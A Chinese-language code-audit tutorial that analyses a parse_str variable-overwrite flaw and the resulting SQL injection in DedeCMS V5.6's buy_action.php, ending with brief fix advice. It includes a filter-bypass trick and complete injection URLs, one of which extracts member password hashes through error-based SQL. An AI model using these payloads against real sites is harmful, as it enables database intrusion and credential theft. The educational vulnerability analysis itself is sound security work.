开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day7
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 7 - Bells代码如下:
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo ''
.htmlspecialchars($currentUser).'';
漏洞解析 :
这一关其实是考察变量覆盖
漏洞,⽽导致这⼀漏洞的发⽣则是不安全的使⽤ parse_str
函数。 由于 第21行
中的 parse_str()
调用,其行为非常类似于注册全局变量
。我们通过提交类似 config[dbhost]=127.0.0.1
这样类型的数据,这样因此我们可以控制 getUser()
中第5到8行
的全局变量$config
。如果目标存在登陆验证的过程,那么我们就可以通过变量覆盖的方法,远程连接我们自己的mysql服务器
,从而绕过这块的登陆验证,进而进行攻击。我们来看看parse_str 函数的定义:
(PHP 4, PHP 5, PHP 7)
parse_str() 函数把查询字符串解析到变量中。
parse_str(string,array)
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini
文件中的magic_quotes_gpc
设置影响该函数的输出。如果已启用,那么在 parse_str()
解析之前,变量会被addslashes()
转换。
参数 | 描述 |
---|---|
string | 必需。规定要解析的字符串。 |
array | 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。 |
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>
结果:
Array ( [name] => Peter [age] => 43 )
本次实例分析,我们选取的是
DedeCmsV5.6
版本。
织梦内容管理系统(dedecms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类cms系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
该版本的buy_action.php
处存在SQL注入
漏洞,这里其实和parse_str
有很大关系。
官网于20140225发布了V5.7.36
正式版0225
常规更新补丁,这里面的改动一共四个文件 dede/sys_info.php
、dede/templets/sys_info.htm
、include/uploadsafe.inc.php
、member/buy_action.php
。这里我们关注一下member/buy_action.php
这个文件的改动情况。
diff一下补丁和源文件:(这里采用sublime的FileDiffs插件来进行diff对比
)
改动部分,主要针对加密函数的强度进行了加强,所以做一个推断这个漏洞应该是由于 mchStrCode
这个编码方法造成的。在读这个函数时发现,如果在我们知道 cfg_cookie_encode
的情况下,被编码字符串是可以被逆推出来的。
这个漏洞在乌云上爆出来的时候,是sql注入,所以我推断可能在调用这个编码函数进行解码的地方,解码之后可能没有任何过滤和绕过,又或者可以可绕过过滤,导致sql语句拼接写入到了数据库,而且这里解码的函数可以被攻击者控制,从而导致了SQL注入的产生。
我们全局搜索一下哪些地方调用了这个 mchStrCode
函数,发现有三处:
buy_action.php
下的第17行
(上图)的parse_str
引起了我的兴趣,看一下这一小段代码做了些什么(下面第4行处):
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("请不要重复提交表单!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];
}else{
$buyid = '';
$mtime = time();
$buyid = 'M'.$mid.'T'.$mtime.'RN'.mt_rand(100,999);
//删除用户旧的未付款的同类记录
if(!empty($product))
{
$dsql->ExecuteNoneQuery("Delete From #@__member_operation where mid='$mid' And sta=0 And product='$product'");
}
}
if(empty($product))
{
ShowMsg("请选择一个产品!", 'javascript:;');
exit();
}
我们重点来看if语句
开始时的三行代码, mchStrCode
是我们在上一小节通过对比补丁发现变化的函数。也就是说,这个函数可以编码或者解码用户提交的数据,而且 $pd_encode
也是我们可以控制的变量。
parse_str
方法将解码后$pd_encode
中的变量放到 $mch_Post
数组中,之后的foreach
语句存在明显的变量覆盖,将$mch_Post
中的key
定义为变量,同时将key
所对应的value
赋予该变量。然后,再向下就是执行SQL
查询了。
在这个过程中存在一个明显的疏忽是,没有对定义的 key
进行检查,导致攻击者可以通过 mschStrCode
对攻击代码进行编码,从而绕过GPC
和其他过滤机制,使攻击代码直达目标。我们再来看看mchStrCode
函数的代码buy_action.php
下的第147-160行
:
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}
我们要注意第三行$key
值的获取方法:
$key= substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
这里将$_SERVER["HTTP_USER_AGENT"]
和 $GLOBALS['cfg_cookie_encode']
进行拼接,然后进行md5
计算之后取前 18 位
字符,其中的 $_SERVER["HTTP_USER_AGENT"]
是浏览器的标识,可以被我们控制,关键是这个 $GLOBALS['cfg_cookie_encode']
是怎么来的。通过针对补丁文件的对比,发现了/install/index.php
的 $rnd_cookieEncode
字符串的生成同样是加强了强度, $rnd_cookieEncode
字符串最终也就是前面提到的$GLOBALS['cfg_cookie_encode']
看看源代码里是怎么处理这个的 $rnd_cookieEncode
变量的。
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
这段代码生成的加密密匙
很有规律,所有密匙数为26^6*(9999-1000)=2779933068224
,把所有可能的组合生成字典,用passwordpro
暴力跑MD5
或者使用GPU
来破解,破解出md5
过的密匙也花不了多少时间。 当然这个是完全有可能的,但是很耗时间,所以下一步看看有没有办法能够绕过这个猜测的过程,让页面直接回显回来。
虽然整个漏洞利用原理很简单,但是利用难度还是很高的,关键点还是如何解决这个 mchStrCode
, mchStrCode
这个函数的编码过程中需要知道网站预设的cfg_cookie_encode
,而这个内容在用户界面只可以获取它的MD5
值。虽然cfg_cookie_encode
的生成有一定的规律性,我们可以使用MD5碰撞
的方法获得,但是时间成本太高,感觉不太值得。所以想法是在什么地方可以使用 mchStrCode
加密可控参数,并且能够返回到页面中。所以搜索一下全文哪里调用了这个函数。
于是,我们在 member/buy_action.php
的104行
找到了一处加密调用:$pr_encode = str_replace('=', '', mchStrCode($pr_encode));
我们来看一下这个分支的整个代码:
if(!isset($paytype))
{
$inquery = "INSERT INTO #@__member_operation(`buyid` , `pname` , `product` , `money` , `mtime` , `pid` , `mid` , `sta` ,`oldinfo`)
VALUES ('$buyid', '$pname', '$product' , '$price' , '$mtime' , '$pid' , '$mid' , '0' , '$ptype');
";
$isok = $dsql->ExecuteNoneQuery($inquery);
if(!$isok)
{
echo "数据库出错,请重新尝试!".$dsql->GetError();
exit();
}
if($price=='')
{
echo "无法识别你的订单!";
exit();
}
//获取支付接口列表
$payment_list = array();
$dsql->SetQuery("SELECT * FROM #@__payment WHERE enabled='1' ORDER BY rank ASC");
$dsql->Execute();
$i = 0 ;
while($row = $dsql->GetArray())
{
$payment_list[] = $row;
$i++;
}
unset($row);
$pr_encode = '';
foreach($_REQUEST as $key => $val)
{
$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
}
$pr_encode = str_replace('=', '', mchStrCode($pr_encode));
$pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
$tpl = new DedeTemplate();
$tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
$tpl->Display();
}
这里的 第41行
有一行 $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
在 /templets/buy_action_payment.htm
中,我找到了页面上回显之前加密的 $pr_encode
和 $pr_verify
。
通过这部分代码,我们可以通过[cfg_dbprefix=SQL注入]
的提交请求,进入这个分支,让它帮助我来编码[cfg_dbprefix=SQL注入]
,从而获取相应的pr_encode
和 pr_verify
。 但是 install/common.inc.php
文件对用户提交的内容进行了过滤,凡提交的值以cfg、GLOBALS、GET、POST、COOKIE
开头都会被拦截,如下第11行。
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
这个问题的解决就利用到了$REQUEST
内容与 parse_str
函数内容的差异特性。我们url
传入的时候通过**[a=1&b=2%26c=3]
这样的提交时, $REQUEST
解析的内容就是 [a=1,b=2%26c=3]
。而通过上面代码的遍历进入parse_str
函数的内容则是 [a=1&b=2&c=3]
,因为 parse_str
函数会针对传入进来的数据进行解码,所以解析后的内容就变成了[a=1,b=2,c=3]**
。所以可以通过这种方法绕过common.inc.php
文件对于参数内容传递的验证。
访问 buy_action.php
文件,使用如下参数:
http://10.211.55.5/PHPcode/DedeCmsV56/uploads/member/buy_action.php?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
其中 product
和 pid
参数是为了让我们进入 mchStrCode
对传入数据进行编码的分支,参数 a
是为了配合上面提到的差异性而随意添加的参数。从cfg_dbprefix
开始,便是真正的SQL
注入攻击代码。 访问该URL
后,在页面源码中找到pd_encode
和 pd_verify
字段的值,由于用户 Cookie
和 User-Agent
不同,所获取的值也不同,然后在页面上找到了pd_encode
和 pd_verify
的值,如下图:
最后再构造一下payload就好了:
http://10.211.55.5/PHPcode/DedeCmsV56/uploads/member/buy_action.php?pd_encode=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&pd_verify=fa4459715b84db370ea2eaf0f4064952
再次提醒,因为每个人的cookie
和 User-Agent
都不一样,所以生成的也不一样,建议大家自己生成一下。
为了解决变量覆盖问题,可以在注册变量前先判断变量是否存在,如果使用 extract
函数可以配置第二个参数是 EXTR_SKIP
。使用 parse_str
函数之前先自行通过代码判断变量是否存在。
这里提供一个demo
漏洞样例代码,以及demo
的修复方法。
再次感谢【红日团队】
DedeCMS最新通杀注入(buy_action.php)漏洞分析